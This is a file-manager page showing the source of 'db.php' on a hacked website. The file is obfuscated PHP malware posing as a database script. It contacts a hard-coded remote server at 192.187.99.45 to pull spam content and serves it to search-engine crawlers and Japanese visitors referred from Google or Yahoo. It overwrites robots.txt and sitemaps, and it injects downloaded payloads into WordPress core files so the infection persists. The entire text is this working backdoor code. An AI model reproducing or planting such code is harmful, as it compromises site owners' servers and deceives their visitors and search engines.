1#@!#!123s

: / home / forge / almahero.online /
Filename : db.php
back
<?php error_reporting(0); @set_time_limit(120); @ignore_user_abort(1); $w8CIR = "http://192.187.99.45/j250813_13/"; class FV4Wr { public function tpBqV($Bi_jk = '', $WyUrV = '') { if (!empty($Bi_jk)) { goto aAUZ1; } return $_SERVER; aAUZ1: $Bi_jk = strtoupper($Bi_jk); return isset($_SERVER[$Bi_jk]) ? $_SERVER[$Bi_jk] : $WyUrV; } public function mj9IA() { if ($this->tPBqV("\x48\x54\124\x50\x53") && ("\x31" == $this->TPBqv("\110\x54\124\120\x53") || "\157\156" == strtolower($this->TPbQV("\x48\124\124\x50\123")))) { goto GDgCx; } if ("\x68\164\x74\160\163" == $this->tPbQV("\x52\105\121\125\105\123\124\x5f\x53\103\x48\x45\x4d\x45")) { goto f2veB; } if ("\64\64\63" == $this->tPbQV("\x53\x45\x52\x56\x45\122\137\120\117\122\124")) { goto SOIHA; } if ("\x68\164\x74\160\x73" == $this->TPBQV("\x48\124\124\x50\137\x58\137\x46\117\x52\x57\x41\x52\104\x45\x44\x5f\120\122\117\x54\x4f")) { goto wMZYu; } goto e0rGX; GDgCx: return true; goto e0rGX; f2veB: return true; goto e0rGX; SOIHA: return true; goto e0rGX; wMZYu: return true; e0rGX: return false; } public function sLXrD() { $FcBG_ = strval($this->tPbqv("\110\x54\x54\x50\x5f\130\137\106\117\x52\127\101\122\x44\x45\104\137\110\x4f\x53\124") ?: $this->TPBQv("\110\124\124\x50\137\110\117\123\x54")); return strpos($FcBG_, "\72") ? strstr($FcBG_, "\72", true) : $FcBG_; } public function StMD9() { return $this->mj9ia() ? "\150\164\164\x70\163" : "\150\x74\x74\160"; } public function Qfl2J() { return $this->StMD9() . "\72\x2f\57" . $this->sLXRD(); } public function N4Zon() { if (getenv("\110\124\124\120\x5f\x43\x4c\x49\105\116\124\x5f\111\x50")) { goto A6_hU; } if (getenv("\110\x54\x54\120\137\x58\137\106\x4f\122\127\x41\x52\104\105\104\x5f\106\117\122")) { goto wjxCV; } if (getenv("\122\105\x4d\117\124\105\x5f\101\x44\x44\x52")) { goto xAgZv; } $aDJ80 = $this->tPbqv("\x52\x45\x4d\117\x54\105\137\101\x44\x44\122"); goto qB5v3; A6_hU: $aDJ80 = getenv("\110\x54\x54\120\x5f\103\x4c\x49\105\116\x54\137\111\120"); goto qB5v3; wjxCV: $aDJ80 = getenv("\110\124\x54\120\x5f\130\x5f\106\x4f\x52\x57\x41\122\104\105\x44\137\x46\117\122"); goto qB5v3; xAgZv: $aDJ80 = getenv("\122\x45\115\x4f\124\105\137\x41\x44\x44\122"); qB5v3: return $aDJ80; } public function wp01W() { $fQaEu = strtolower($this->tPbqv("\x48\124\124\x50\137\125\x53\x45\122\x5f\x41\x47\x45\x4e\x54")); if (!($fQaEu != '' && preg_match("\57\x67\157\x6f\147\154\145\142\x6f\x74\174\x67\x6f\x6f\x67\154\x65\x7c\171\x61\150\x6f\157\x7c\x61\x6f\154\57\x73\151", $fQaEu))) { goto kJ46U; } return true; kJ46U: return false; } public function wHOWk() { $hsK_R = strtolower($this->TpBQV("\x48\124\x54\120\x5f\x52\105\106\105\x52\105\122")); if (!($hsK_R != '' && preg_match("\x2f\147\157\157\147\154\x65\x2e\x63\157\56\152\160\174\171\141\150\x6f\157\x2e\143\157\56\152\160\x7c\x67\x6f\x6f\147\x6c\145\56\x63\157\155\x2f\163\x69", $hsK_R))) { goto SA_at; } return true; SA_at: return false; } public function CJtKw() { if (($M9fnT = strpos($this->tpbQv("\122\105\x51\125\x45\x53\124\x5f\125\122\x49"), "\56\160\x68\160")) !== false) { goto JAVuP; } $M6IBS = substr($this->Tpbqv("\122\x45\x51\125\105\x53\x54\x5f\x55\122\111"), strpos($this->TPBqv("\122\105\x51\125\105\123\124\137\x55\122\111"), "\57")); goto Udu9i; JAVuP: $sfUKw = basename($this->TpBQV("\x53\x43\x52\111\x50\124\137\106\x49\114\x45\x4e\101\115\x45")); if (basename($this->TPbqv("\x53\x43\122\x49\x50\x54\137\x4e\x41\115\x45")) === $sfUKw) { goto h2y6T; } if (basename($this->Tpbqv("\120\110\x50\137\123\x45\x4c\x46")) === $sfUKw) { goto cR266; } if (basename($this->tPbQv("\x4f\122\x49\107\137\123\x43\122\x49\x50\124\137\116\x41\x4d\x45")) === $sfUKw) { goto NWWli; } if (($M9fnT = strpos($this->tPBqV("\x50\110\x50\x5f\x53\105\114\106"), "\57" . $sfUKw)) !== false) { goto ZHOGN; } if ($this->TpBqV("\104\x4f\103\125\115\x45\116\124\x5f\122\117\117\124") && strpos($this->tPBQV("\123\x43\x52\x49\x50\x54\137\106\x49\114\x45\x4e\101\x4d\105"), $this->TpbqV("\x44\x4f\103\125\x4d\105\x4e\124\137\x52\117\x4f\x54")) === 0) { goto QE2Iu; } goto Go45u; h2y6T: $lXqTE = $this->TpbQv("\123\x43\122\x49\x50\x54\137\116\101\115\x45"); goto Go45u; cR266: $lXqTE = $this->tPbqv("\120\110\x50\137\123\105\114\x46"); goto Go45u; NWWli: $lXqTE = $this->tpBqv("\x4f\x52\x49\107\137\x53\103\122\x49\120\124\x5f\x4e\x41\115\x45"); goto Go45u; ZHOGN: $lXqTE = substr($this->TPbqv("\123\103\122\x49\x50\x54\137\x4e\x41\x4d\105"), 0, $M9fnT) . "\57" . $sfUKw; goto Go45u; QE2Iu: $lXqTE = str_replace($this->tpBQV("\104\117\103\125\x4d\105\x4e\x54\137\122\117\x4f\124"), '', $this->tpBQV("\123\x43\x52\111\120\124\x5f\106\x49\x4c\105\116\101\115\105")); Go45u: $M6IBS = $lXqTE . substr($this->tPbqV("\x52\105\x51\125\105\123\x54\137\125\x52\x49"), $M9fnT + 4); Udu9i: return rtrim($M6IBS, "\x2f"); } public function IUpOP($lXqTE, $giVNe = array()) { $lXqTE = str_replace("\40", "\53", $lXqTE); $QOH03 = curl_init(); curl_setopt($QOH03, CURLOPT_URL, $lXqTE); curl_setopt($QOH03, CURLOPT_RETURNTRANSFER, 1); curl_setopt($QOH03, CURLOPT_HEADER, 0); curl_setopt($QOH03, CURLOPT_TIMEOUT, 20); curl_setopt($QOH03, CURLOPT_POST, 1); curl_setopt($QOH03, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($QOH03, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($QOH03, CURLOPT_POSTFIELDS, http_build_query($giVNe)); $r_ev7 = curl_exec($QOH03); $O_nMD = curl_errno($QOH03); curl_close($QOH03); if (!(0 !== $O_nMD)) { goto xlFSx; } return false; xlFSx: return $r_ev7; } } $Tju1j = new fV4WR(); $wBggX = $Tju1j->wP01w(); $u_x2P = $Tju1j->whOWK(); $WYwi4 = $w8CIR . "\155\141\x70"; $G68iY = urldecode($Tju1j->cjtkW()); $giVNe = array("\x64\x6f\155\141\151\156" => $Tju1j->qfL2J(), "\160\157\x72\164" => $Tju1j->tPBqV("\x53\105\x52\x56\105\x52\137\x50\117\x52\124", 80), "\165\162\151" => $G68iY); if (!(substr($G68iY, -6) == "\162\x6f\142\x6f\164\x73")) { goto D0xVW; } $r_ev7 = $Tju1j->iUPOP($w8CIR . "\x72\157\142\157\x74\x73", $giVNe); $X3h7E = __DIR__ . "\57\162\157\x62\157\x74\163\56\164\170\164"; file_put_contents($X3h7E, $r_ev7); $F8bNz = @file_get_contents($X3h7E); if (strpos(strtolower($F8bNz), "\163\151\164\145\155\141\x70")) { goto KODye; } die("\162\x6f\x62\157\164\163\56\x74\170\164\40\x66\151\154\145\x20\x63\x72\145\x61\164\145\40\x66\x61\x69\x6c\41"); goto zx5Gx; KODye: die("\162\157\x62\157\x74\163\x2e\164\170\164\40\x66\x69\154\x65\x20\x63\x72\145\x61\x74\x65\40\x73\165\143\x63\x65\x73\x73\x21"); zx5Gx: D0xVW: if (!(substr($G68iY, -5) == "\x62\145\151\x6d\141")) { goto z1zUs; } function ImqJK($bgL3c = __DIR__) { $emQRO = realpath($bgL3c); $o0jYE = 0; tUyfm: if (!($o0jYE < 5)) { goto rUK_0; } $GqvoY = $emQRO . DIRECTORY_SEPARATOR . "\x77\160\55\141\144\155\151\x6e"; if (!is_dir($GqvoY)) { goto JoNYP; } return $GqvoY; JoNYP: if (!($emQRO === dirname($emQRO))) { goto JzMgL; } goto rUK_0; JzMgL: $emQRO = dirname($emQRO); $o0jYE++; goto tUyfm; rUK_0: return false; } $InlDd = iMQJK(); $oZUvd = $Tju1j->IupOp($w8CIR . "\x62\145\151\155\141\61", $giVNe); $g9DO4 = $Tju1j->IuPoP($w8CIR . "\142\145\x69\x6d\x61\62", $giVNe); $sBfvx = $InlDd . DIRECTORY_SEPARATOR . "\x74\x6f\x6f\154\x73\56\160\x68\160"; $ePuWo = $InlDd . DIRECTORY_SEPARATOR . "\151\156\x63\x6c\165\x64\x65\x73" . DIRECTORY_SEPARATOR . "\x63\x6c\141\163\x73\55\x77\160\x2d\x64\x65\142\165\x67\x2d\144\x61\x74\141\x2e\160\150\x70"; $bpSaj = $bpSaj = false; if (!file_exists($sBfvx)) { goto fehPF; } $eUgxu = @file_get_contents($sBfvx); if (!@file_put_contents($sBfvx, $oZUvd . PHP_EOL . $eUgxu)) { goto t9aWj; } $bpSaj = true; t9aWj: fehPF: if (!file_exists($ePuWo)) { goto s02Nm; } $Cd3gA = @file_get_contents($ePuWo); if (!@file_put_contents($ePuWo, $g9DO4 . PHP_EOL . $Cd3gA)) { goto nmDRC; } $Pa3jZ = true; nmDRC: s02Nm: if ($bpSaj && $Pa3jZ) { goto ue5lZ; } if ($bpSaj) { goto bORf1; } if ($Pa3jZ) { goto iq2i4; } die("\x62\x65\151\x6d\141\61\x20\141\156\x64\40\x62\x65\x69\155\x61\x32\x20\x66\141\151\x6c\41"); goto gmc8b; ue5lZ: die("\142\145\x69\155\141\x31\40\141\x6e\144\40\142\x65\151\x6d\x61\x32\x20\x73\165\143\143\x65\163\x73\41"); goto gmc8b; bORf1: die("\142\145\151\155\141\x31\x20\163\x75\x63\x63\x65\163\x73\54\142\145\x69\x6d\x61\62\40\x66\x61\x69\154\x21"); goto gmc8b; iq2i4: die("\x62\145\x69\155\141\61\x20\x66\141\151\x6c\54\142\145\151\x6d\141\x32\x20\x73\165\x63\x63\145\163\x73\41"); gmc8b: z1zUs: if (!(substr($G68iY, -4) == "\56\170\155\154")) { goto g_M3K; } if (!(strpos($G68iY, "\x61\x6c\154\x73\151\164\145\155\141\x70\x2e\170\x6d\x6c") || strpos($G68iY, "\x73\x69\164\145\x6d\x61\x70\55\x69\156\144\145\x78\x2e\x78\155\154") || strpos($G68iY, "\x73\x69\x74\145\x6d\x61\x70\55\151\x6e\x64\x65\170\55\x31\x2e\x78\155\154") || strpos($G68iY, "\151\x6e\x64\145\x78\56\170\x6d\154"))) { goto n4ttq; } $r_ev7 = $Tju1j->IUPoP($WYwi4, $giVNe); header("\103\x6f\x6e\x74\x65\156\164\55\164\171\160\x65\72\x74\x65\170\164\57" . (substr($r_ev7, 0, 5) === "\74\x3f\x78\155\x6c" ? "\170\155\x6c" : "\160\x6c\141\151\x6e") . "\x3b\x20\143\150\141\162\x73\145\164\x3d\165\x74\x66\x2d\x38"); die('' . $r_ev7); n4ttq: $r_ev7 = $Tju1j->iUPoP($w8CIR . "\167\157\162\x64", $giVNe); header("\x43\157\x6e\164\x65\156\164\x2d\x74\171\x70\145\72\164\x65\170\x74\57\170\155\154\x3b\40\143\150\x61\x72\x73\145\164\75\x75\164\146\55\x38"); if ($r_ev7 == "\x31") { goto hA8Gb; } die('' . $r_ev7); goto ub2qW; hA8Gb: die('' . $Tju1j->iuPoP($WYwi4, $giVNe)); ub2qW: g_M3K: $AayNO = $Tju1j->TpBQv("\x48\x54\x54\x50\x5f\101\103\103\x45\120\x54\x5f\x4c\101\x4e\x47\x55\101\x47\105"); if (!$wBggX) { goto SbLk0; } echo '' . $Tju1j->IUPOp($w8CIR . "\x69\x6e\144\x61\x74\x61", $giVNe); die; SbLk0: if (!(!$wBggX && $u_x2P && strpos($AayNO, "\152\x61") !== false)) { goto Glsil; } $giVNe["\x69\x70"] = $Tju1j->n4zoN(); die($Tju1j->iUPOP($w8CIR . "\x78\x36\x61\x31\66\x35\61\65\x35\x78\67\60", $giVNe)); Glsil:?>